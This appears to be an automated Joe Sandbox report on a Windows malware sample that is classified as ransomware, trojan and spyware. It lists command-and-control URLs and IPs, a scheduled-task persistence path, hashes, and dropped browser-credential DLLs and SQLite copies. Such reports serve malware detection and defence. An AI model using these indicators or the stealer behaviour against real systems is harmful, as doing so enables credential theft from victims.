https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=	explorer.exe, 00000011.00000003.426455273.0000000003140000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000014.00000003.464332738.00000000009C6000.00000004.00000020.00020000.00000000.sdmp, 64FF.tmp.17.dr, rE5287BD83io.20.dr	false		high
https://api.2ip.ua/geo.jsonc	253.exe, 00000012.00000002.454048007.0000000000787000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	rE5287BD83io.20.dr	false		high
https://search.yahoo.com?fr=crmas_sfp	explorer.exe, 00000011.00000003.426455273.0000000003140000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000014.00000003.464332738.00000000009C6000.00000004.00000020.00020000.00000000.sdmp, 64FF.tmp.17.dr, rE5287BD83io.20.dr	false		high
https://api.2ip.ua/B	253.exe, 00000012.00000002.454048007.0000000000787000.00000004.00000020.00020000.00000000.sdmp	false		high
http://furubujjul.net/Mozilla/5.0	explorer.exe, 00000011.00000002.432805078.00000000030E8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000013.00000002.380622213.0000000000648000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000013.00000000.379324807.0000000000350000.00000040.80000000.00040000.00000000.sdmp	true	URL Reputation: safe	unknown
http://193.38.55.180/981c0ceb6cf45499fb5c43ee25c05c17l	AppLaunch.exe, 00000014.00000002.491839052.000000000097D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.38.55.180/981c0ceb6cf45499fb5c43ee25c05c17j4	AppLaunch.exe, 00000014.00000003.463034703.0000000000989000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000014.00000003.456356159.0000000000989000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.38.55.180/981c0ceb6cf45499fb5c43ee25c05c17v	AppLaunch.exe, 00000014.00000003.463663290.000000000097D000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000014.00000003.462970371.000000000097D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.38.55.180/V	AppLaunch.exe, 00000014.00000003.430856493.000000000096C000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000014.00000003.429706137.0000000000969000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	rE5287BD83io.20.dr	false		high
https://mozilla.org0	softokn3.dll.20.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.93.30	furubujjul.net	United States	13335	CLOUDFLARENETUS	true
193.38.55.180	unknown	Russian Federation	50673	SERVERIUS-ASNL	true
162.0.217.254	api.2ip.ua	Canada	35893	ACPCA	false

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	715161
Start date and time:	2022-10-03 17:32:59 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 11m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	file.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.rans.troj.spyw.evad.winEXE@19/22@2/3
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 90.2% (good quality ratio 87.8%) Quality average: 83.5% Quality standard deviation: 25.8%
HCA Information:	Successful, ratio: 93% Number of executed functions: 39 Number of non-executed functions: 72
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
17:34:52	Task Scheduler	Run new task: Firefox Default Browser Agent F9BD262C607D16F2 path: C:\Users\user\AppData\Roaming\sfrvjvv

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
104.21.93.30	file.exe	Get hash	malicious	Browse	furubujjul.net/
	file.exe	Get hash	malicious	Browse	furubujjul.net/
	file.exe	Get hash	malicious	Browse	furubujjul.net/
	file.exe	Get hash	malicious	Browse	furubujjul.net/
	file.exe	Get hash	malicious	Browse	furubujjul.net/
	file.exe	Get hash	malicious	Browse	furubujjul.net/
	file.exe	Get hash	malicious	Browse	furubujjul.net/
	file.exe	Get hash	malicious	Browse	furubujjul.net/
	file.exe	Get hash	malicious	Browse	furubujjul.net/
	file.exe	Get hash	malicious	Browse	furubujjul.net/
	file.exe	Get hash	malicious	Browse	furubujjul.net/
	file.exe	Get hash	malicious	Browse	furubujjul.net/
	file.exe	Get hash	malicious	Browse	furubujjul.net/
	file.exe	Get hash	malicious	Browse	furubujjul.net/
	file.exe	Get hash	malicious	Browse	furubujjul.net/
	file.exe	Get hash	malicious	Browse	furubujjul.net/
	file.exe	Get hash	malicious	Browse	furubujjul.net/
	file.exe	Get hash	malicious	Browse	furubujjul.net/
	file.exe	Get hash	malicious	Browse	furubujjul.net/
	file.exe	Get hash	malicious	Browse	furubujjul.net/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
furubujjul.net	file.exe	Get hash	malicious	Browse	172.67.203.213
	file.exe	Get hash	malicious	Browse	172.67.203.213
	file.exe	Get hash	malicious	Browse	172.67.203.213
	file.exe	Get hash	malicious	Browse	172.67.203.213
	file.exe	Get hash	malicious	Browse	172.67.203.213
	file.exe	Get hash	malicious	Browse	172.67.203.213
	file.exe	Get hash	malicious	Browse	172.67.203.213
	file.exe	Get hash	malicious	Browse	104.21.93.30
	file.exe	Get hash	malicious	Browse	172.67.203.213
	file.exe	Get hash	malicious	Browse	172.67.203.213
	file.exe	Get hash	malicious	Browse	172.67.203.213
	file.exe	Get hash	malicious	Browse	172.67.203.213
	file.exe	Get hash	malicious	Browse	172.67.203.213
	file.exe	Get hash	malicious	Browse	104.21.93.30
	file.exe	Get hash	malicious	Browse	172.67.203.213
	file.exe	Get hash	malicious	Browse	104.21.93.30
	file.exe	Get hash	malicious	Browse	104.21.93.30
	file.exe	Get hash	malicious	Browse	104.21.93.30
	file.exe	Get hash	malicious	Browse	104.21.93.30
	file.exe	Get hash	malicious	Browse	104.21.93.30
api.2ip.ua	file.exe	Get hash	malicious	Browse	162.0.217.254
	file.exe	Get hash	malicious	Browse	162.0.217.254
	file.exe	Get hash	malicious	Browse	162.0.217.254
	file.exe	Get hash	malicious	Browse	162.0.217.254
	file.exe	Get hash	malicious	Browse	162.0.217.254
	file.exe	Get hash	malicious	Browse	162.0.217.254
	file.exe	Get hash	malicious	Browse	162.0.217.254
	file.exe	Get hash	malicious	Browse	162.0.217.254
	file.exe	Get hash	malicious	Browse	162.0.217.254
	file.exe	Get hash	malicious	Browse	162.0.217.254
	file.exe	Get hash	malicious	Browse	162.0.217.254
	file.exe	Get hash	malicious	Browse	162.0.217.254
	file.exe	Get hash	malicious	Browse	162.0.217.254
	file.exe	Get hash	malicious	Browse	162.0.217.254
	file.exe	Get hash	malicious	Browse	162.0.217.254
	file.exe	Get hash	malicious	Browse	162.0.217.254
	file.exe	Get hash	malicious	Browse	162.0.217.254
	file.exe	Get hash	malicious	Browse	162.0.217.254
	file.exe	Get hash	malicious	Browse	162.0.217.254
	file.exe	Get hash	malicious	Browse	162.0.217.254

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	Browse	172.67.203.213
	Redriverbank-565463565463-565463.html	Get hash	malicious	Browse	104.17.25.14
	1dgTYi66mV.exe	Get hash	malicious	Browse	188.114.97.3
	Xezmjebyq.exe	Get hash	malicious	Browse	162.159.135.233
	RFQ___876444334387 PO__.doc	Get hash	malicious	Browse	23.227.38.74
	file.exe	Get hash	malicious	Browse	172.67.203.213
	NUEVA ORDEN-MATSA 10-2022,.exe	Get hash	malicious	Browse	188.114.97.3
	DtzC67xwf4.exe	Get hash	malicious	Browse	104.26.1.100
	https://insacentre-my.sharepoint.com/:o:/g/personal/christel_chevereau_insa-cvl_fr/EiRzYlzmtGdJoxpcLidnoqABdW_125MBX4mxznGrm93yrA?e=ErmP6W	Get hash	malicious	Browse	188.114.97.3
	file.exe	Get hash	malicious	Browse	188.114.97.3
	https://arcamaxjobs.com/api/1/px?cid=18&cid2=5686&fid=xN7aBiNqMaeWzAkvLTeU&jpid=220&pcrlid=35d7f085-e7bd-40aa-8696-f8bfbee33487&px_c=48&px_ca=2022-09-27T16%3A32%3A00Z&px_ru=aHR0cHM6Ly9maHJldC5hcnQ/ZT1hMkpsWTJsamEyRkFiVzV3YjNkbGNpNWpiMjA9&px_sid=AMX367183374-1664285937-162638&px_tag=amj&px_tcaid=8&px_tcid=78&px_ty=3&q=Data+Entry+From+Home	Get hash	malicious	Browse	104.16.169.131
	PO-13466.vbs	Get hash	malicious	Browse	162.159.130.233
	Banka odeme havalesi bilgileri TL98550080_03102022.exe	Get hash	malicious	Browse	172.67.182.217
	1F5u1OLUIL.exe	Get hash	malicious	Browse	162.159.135.233
	file.exe	Get hash	malicious	Browse	104.26.0.100
	https://filesecureportal.clickfunnels.com/optin1664562162486	Get hash	malicious	Browse	172.64.132.15
	file.exe	Get hash	malicious	Browse	104.26.1.100
	http://onlinedesk2.matne.ru	Get hash	malicious	Browse	104.18.6.185
	http://fathproperties.com/	Get hash	malicious	Browse	104.17.24.14
	eVw6dhqdSU.exe	Get hash	malicious	Browse	188.114.96.3
SERVERIUS-ASNL	file.exe	Get hash	malicious	Browse	193.38.55.180
	file.exe	Get hash	malicious	Browse	193.38.55.180
	file.exe	Get hash	malicious	Browse	193.38.55.180
	file.exe	Get hash	malicious	Browse	193.38.55.180
	file.exe	Get hash	malicious	Browse	193.38.55.180
	file.exe	Get hash	malicious	Browse	193.38.55.180
	file.exe	Get hash	malicious	Browse	193.38.55.180
	file.exe	Get hash	malicious	Browse	193.38.55.180
	file.exe	Get hash	malicious	Browse	193.38.55.180
	file.exe	Get hash	malicious	Browse	193.38.55.180
	file.exe	Get hash	malicious	Browse	193.38.55.180
	file.exe	Get hash	malicious	Browse	193.38.55.180
	file.exe	Get hash	malicious	Browse	193.38.55.180
	file.exe	Get hash	malicious	Browse	193.38.55.180
	file.exe	Get hash	malicious	Browse	193.38.55.180
	file.exe	Get hash	malicious	Browse	193.38.55.180
	file.exe	Get hash	malicious	Browse	193.38.55.180
	file.exe	Get hash	malicious	Browse	193.38.55.180
	file.exe	Get hash	malicious	Browse	193.38.55.180
	file.exe	Get hash	malicious	Browse	193.38.55.180

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
37f463bf4616ecd445d4a1937da06e19	file.exe	Get hash	malicious	Browse	162.0.217.254
	Sy5tkXtep6.exe	Get hash	malicious	Browse	162.0.217.254
	file.exe	Get hash	malicious	Browse	162.0.217.254
	quJ8FkOCp1.exe	Get hash	malicious	Browse	162.0.217.254
	PUMP mt310143121.vbs	Get hash	malicious	Browse	162.0.217.254
	https://kawanakajima.co.jp/collinesredshare666.htm	Get hash	malicious	Browse	162.0.217.254
	Scan_2022_10_03_14_53_13_366.PDF.exe	Get hash	malicious	Browse	162.0.217.254
	quotation.exe	Get hash	malicious	Browse	162.0.217.254
	PO-13466.vbs	Get hash	malicious	Browse	162.0.217.254
	ZA0o2SxyU8.exe	Get hash	malicious	Browse	162.0.217.254
	http://onlinedesk2.matne.ru	Get hash	malicious	Browse	162.0.217.254
	VkDJ.exe	Get hash	malicious	Browse	162.0.217.254
	TDM Consults Financing Draft.xlsx	Get hash	malicious	Browse	162.0.217.254
	https://expressinvoice.mijnparagon-cc.nl/	Get hash	malicious	Browse	162.0.217.254
	https://expressinvoice.mijnparagon-cc.nl/	Get hash	malicious	Browse	162.0.217.254
	rHwW5gS1cw.exe	Get hash	malicious	Browse	162.0.217.254
	Victrex Payment.htm	Get hash	malicious	Browse	162.0.217.254
	rHwW5gS1cw.exe	Get hash	malicious	Browse	162.0.217.254
	Victrex Payment.htm	Get hash	malicious	Browse	162.0.217.254
	malware.html	Get hash	malicious	Browse	162.0.217.254

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\LocalLow\freebl3.dll	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse
	file.exe	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\LocalLow\22wTvv5mR62E

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, file counter 10, database pages 7, 1st free page 5, free pages 2, cookie 0x13, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4393511334109407
Encrypted:	false
SSDEEP:	24:TLqlj1czkwubXYFpFNYcw+6UwcYzHrSl:TyxcYwuLopFgU1YzLSl
MD5:	8C31C5487A97BBE73711C5E20600C1F6
SHA1:	D4D6B04226D8FFC894749B3963E7DB7068D6D773
SHA-256:	A1326E74262F4B37628F2E712EC077F499B113181A1E937E752D046E43F1689A
SHA-512:	394391350524B994504F4E748CCD5C3FA8EF980AED850A5A60F09250E8261AC8E300657CBB1DBF305729637BC0E1F043E57799E2A35C82EEA3825CE5C9E7051D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................[5.........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\GOpRcXXjoWmm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 2, database pages 23, cookie 0x19, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.7876734657715041
Encrypted:	false
SSDEEP:	48:43KzOIIY3HzrkNSs8LKvUf9KnmlG0UX9q4lCm+KLka+yJqhM0ObVEq8Ma0D0HOlx:Sq0NFeymDlGD9qlm+KL2y0Obn8MouO
MD5:	CF7758A2FF4A94A5D589DEBAED38F82E
SHA1:	D3380E70D0CAEB9AD78D14DD970EA480E08232B8
SHA-256:	6CA783B84D01BFCF9AA7185D7857401D336BAD407A182345B97096E1F2502B7F
SHA-512:	1D0C49B02A159EEB4AA971980CCA02751973E249422A71A0587EE63986A4A0EB8929458BCC575A9898CE3497CC5BDFB7050DF33DF53F5C88D110F386A0804CBF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................[5....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Zsrw9A4N7Zio

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 3, database pages 45, cookie 0x3d, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	94208
Entropy (8bit):	1.2889923589460437
Encrypted:	false
SSDEEP:	192:Qo1/8dpUXbSzTPJP/6oVuss8Ewn7PrH944:QS/inXrVuss8Ewn7b944
MD5:	7901DD9DF50A993306401B7360977746
SHA1:	E5BA33E47A3A76CC009EC1D63C5D1A810BE40521
SHA-256:	1019C8ADA4DA9DEF665F59DB191CA3A613F954C12813BE5907E1F5CB91C09BE9
SHA-512:	90C785D22D0D7F5DA90D52B14010719A5554BB5A7F0029C3F4E11A97AD72A7A600D846174C7B40D47D24B0995CDBAC21E255EC63AC9C07CF6E106572EA181DD5
Malicious:	false
Preview:	SQLite format 3......@ .......-...........=......................................................[5...........*........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\freebl3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	684984
Entropy (8bit):	6.857030838615762
Encrypted:	false
SSDEEP:	12288:0oUg2twzqWC4kBNv1pMByWk6TYnhCevOEH07OqHM65BaFBuY3NUNeCLIV/Rqnhab:0oUg2tJWC44WUuY3mMCLA/R+hw
MD5:	15B61E4A910C172B25FB7D8CCB92F754
SHA1:	5D9E319C7D47EB6D31AAED27707FE27A1665031C
SHA-256:	B2AE93D30C8BEB0B26F03D4A8325AC89B92A299E8F853E5CAA51BB32575B06C6
SHA-512:	7C1C982A2B597B665F45024A42E343A0A07A6167F77EE428A203F23BE94B5F225E22A270D1A41B655F3173369F27991770722D765774627229B6B1BBE2A6DC3F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Metadefender, Detection: 0%, Browse
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...&.9b.........."!.........6...........................................................@A........................4,..S....,..........x............T..........8$...&...............................0..................D............................text............................... ..`.rdata.......0......................@..@.data...<F...@.......&..............@....00cfg...............(..............@..@.rsrc...x............*..............@..@.reloc..8$.......&..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\mozglue.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	627128
Entropy (8bit):	6.792651884784197
Encrypted:	false
SSDEEP:	12288:dfsiG5KNZea77VUHQqROmbIDm0ICRfCtbtEE/2OH9E2ARlZYSd:df53NZea3V+QqROmum0nRKx79E2ARlrd
MD5:	F07D9977430E762B563EAADC2B94BBFA
SHA1:	DA0A05B2B8D269FB73558DFCF0ED5C167F6D3877
SHA-256:	4191FAF7E5EB105A0F4C5C6ED3E9E9C71014E8AA39BBEE313BC92D1411E9E862
SHA-512:	6AFD512E4099643BBA3FC7700DD72744156B78B7BDA10263BA1F8571D1E282133A433215A9222A7799F9824F244A2BC80C2816A62DE1497017A4B26D562B7EAF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Metadefender, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....9b.........."!.........V......./....................................................@A............................cQ......,....p...............r..........4C...........................W......h0...............................................text............................... ..`.rdata.......0......................@..@.data........0......................@....00cfg.......P....... ..............@..@.tls.........`......."..............@....rsrc........p.......$..............@..@.reloc..4C.......D..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\msvcp140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	449280
Entropy (8bit):	6.670243582402913
Encrypted:	false
SSDEEP:	12288:UEPa9C9VbL+3Omy5CvyOvzeOKaqhUgiW6QR7t5s03Ooc8dHkC2esGgW8g:UEPa90Vbky5CvyUeOKg03Ooc8dHkC2ed
MD5:	1FB93933FD087215A3C7B0800E6BB703
SHA1:	A78232C352ED06CEDD7CA5CD5CB60E61EF8D86FB
SHA-256:	2DB7FD3C9C3C4B67F2D50A5A50E8C69154DC859780DD487C28A4E6ED1AF90D01
SHA-512:	79CD448E44B5607863B3CD0F9C8E1310F7E340559495589C428A24A4AC49BEB06502D787824097BB959A1C9CB80672630DAC19A405468A0B64DB5EBD6493590E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Metadefender, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L....(.[.........."!.....(..........`........@............................................@A.........................g.......r...........................?.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\nss3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2042296
Entropy (8bit):	6.775178510549486
Encrypted:	false
SSDEEP:	49152:6dvFywfzFAF7fg39IwA49Kap9bGt+qoStYnOsbqbeQom7gN7BpDD5SkIN1g5D92+:pptximYfpx8OwNiVG09
MD5:	F67D08E8C02574CBC2F1122C53BFB976
SHA1:	6522992957E7E4D074947CAD63189F308A80FCF2
SHA-256:	C65B7AFB05EE2B2687E6280594019068C3D3829182DFE8604CE4ADF2116CC46E
SHA-512:	2E9D0A211D2B085514F181852FAE6E7CA6AED4D29F396348BEDB59C556E39621810A9A74671566A49E126EC73A60D0F781FA9085EB407DF1EEFD942C18853BE5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Metadefender, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....9b.........."!.........&...............................................`............@A.........................!..\...T...@....@..x....................P..h...h...................................................\....!..@....................text...i........................... ..`.rdata..............................@..@.data....N.......*..................@....00cfg.......0......................@..@.rsrc...x....@......................@..@.reloc..h....P......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\rE5287BD83io

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 3, database pages 45, cookie 0x3d, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	94208
Entropy (8bit):	1.2889923589460437
Encrypted:	false
SSDEEP:	192:Qo1/8dpUXbSzTPJP/6oVuss8Ewn7PrH944:QS/inXrVuss8Ewn7b944
MD5:	7901DD9DF50A993306401B7360977746
SHA1:	E5BA33E47A3A76CC009EC1D63C5D1A810BE40521
SHA-256:	1019C8ADA4DA9DEF665F59DB191CA3A613F954C12813BE5907E1F5CB91C09BE9
SHA-512:	90C785D22D0D7F5DA90D52B14010719A5554BB5A7F0029C3F4E11A97AD72A7A600D846174C7B40D47D24B0995CDBAC21E255EC63AC9C07CF6E106572EA181DD5
Malicious:	false
Preview:	SQLite format 3......@ .......-...........=......................................................[5...........*........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\softokn3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	254392
Entropy (8bit):	6.686038834818694
Encrypted:	false
SSDEEP:	6144:uI7A8DMhFE2PlKOcpHSvV6x/CHQyhvs277H0mhWGzTdtb2bbIFxW7zrM2ruyYz+h:uI7A8DMhFE2PlbcpSv0x/CJVUmhDzTvS
MD5:	63A1FE06BE877497C4C2017CA0303537
SHA1:	F4F9CBD7066AFB86877BB79C3D23EDDACA15F5A0
SHA-256:	44BE3153C15C2D18F49674A092C135D3482FB89B77A1B2063D01D02985555FE0
SHA-512:	0475EDC7DFBE8660E27D93B7B8B5162043F1F8052AB28C87E23A6DAF9A5CB93D0D7888B6E57504B1F2359B34C487D9F02D85A34A7F17C04188318BB8E89126BF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Metadefender, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...'.9b.........."!......................................................................@A........................tv..S....w...................................5..hq..............................................D{...............................text...V........................... ..`.rdata..............................@..@.data................~..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\sqlite3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1099223
Entropy (8bit):	6.502588297211263
Encrypted:	false
SSDEEP:	24576:9jxwSkSteuT4P/y7HjsXAGJyGvN5z4Rui2IXLbO:9Vww8HyrjsvyWN54RZH+
MD5:	DBF4F8DCEFB8056DC6BAE4B67FF810CE
SHA1:	BBAC1DD8A07C6069415C04B62747D794736D0689
SHA-256:	47B64311719000FA8C432165A0FDCDFED735D5B54977B052DE915B1CBBBF9D68
SHA-512:	B572CA2F2E4A5CC93E4FCC7A18C0AE6DF888AA4C55BC7DA591E316927A4B5CFCBDDA6E60018950BE891FF3B26F470CC5CCE34D217C2D35074322AB84C32A25D1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Metadefender, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...".,b.v.........!......................... .....a......................................... .........................n................................... ...;...................................................................................text...............................`.P`.data...\|'... ...(..................@.`..rdata...D...P...F...:..............@.`@.bss....(.............................`..edata..n.......,..................@.0@.idata..............................@.0..CRT....,...........................@.0..tls.... ...........................@.0..rsrc...............................@.0..reloc...;... ...<..................@.0B/4......8....`......................@.@B/19.....R....p......................@..B/31.....]'...@...(..................@..B/45......-...p......................@..B/57.....\............&..............@.0B/70.....#............2..

C:\Users\user\AppData\LocalLow\vcruntime140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80128
Entropy (8bit):	6.906674531653877
Encrypted:	false
SSDEEP:	1536:l9j/j2886xv555et/MCsjw0BuRK3jteopUecbAdz86B+JfBL+eNv:l9j/j28V55At/zqw+IqLUecbAdz8lJrv
MD5:	1B171F9A428C44ACF85F89989007C328
SHA1:	6F25A874D6CBF8158CB7C491DCEDAA81CEAEBBAE
SHA-256:	9D02E952396BDFF3ABFE5654E07B7A713C84268A225E11ED9A3BF338ED1E424C
SHA-512:	99A06770EEA07F36ABC4AE0CECB2AE13C3ACB362B38B731C3BAED045BF76EA6B61EFE4089CD2EFAC27701E9443388322365BDB039CD388987B24D4A43C973BD1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Metadefender, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L....(.[.........."!.........................................................0......t(....@A.............................................................?... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\zpW7O7U8iJFQ

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	105051
Entropy (8bit):	7.930414350711271
Encrypted:	false
